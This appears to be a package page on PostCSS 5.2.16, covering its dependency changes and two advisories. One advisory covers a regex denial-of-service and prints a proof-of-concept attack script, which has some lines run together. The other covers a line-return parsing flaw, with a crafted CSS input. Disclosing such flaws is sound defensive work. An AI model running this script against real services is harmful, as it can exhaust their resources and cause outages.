PostCSS version 5.2.16 is a minor update to the popular tool for transforming styles with JavaScript plugins, succeeding version 5.2.15. Both versions share the same core dependencies including chalk, js-base64, source-map, and supports-color, ensuring consistent functionality for basic style transformations. The key distinctions lie within the development dependencies, reflecting improvements in the development and testing environment.
Version 5.2.16 features an updated eslint version, moving from 3.16.0 to 3.17.1, suggesting improvements in code linting and potentially stricter code quality enforcement. Furthermore, yaspeller was removed and replaced with yaspeller-ci in version 5.2.16 which means that the spell checker was updated to a more CI friendly version. These changes are primarily beneficial for contributors and maintainers of PostCSS, streamlining the development workflow.
For developers using PostCSS, the update from 5.2.15 to 5.2.16 should be seamless. The core functionality remains unchanged, so existing configurations and plugins should continue to work without modification. The updated development dependencies indicate a commitment to code quality and a smoother development experience for those contributing to PostCSS. While these changes are not directly customer facing to the end user, they contribute to the overall stability and maintainability of the project, ultimately benefiting all users through a more robust and reliable tool.
All the vulnerabilities related to the version 5.2.16 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.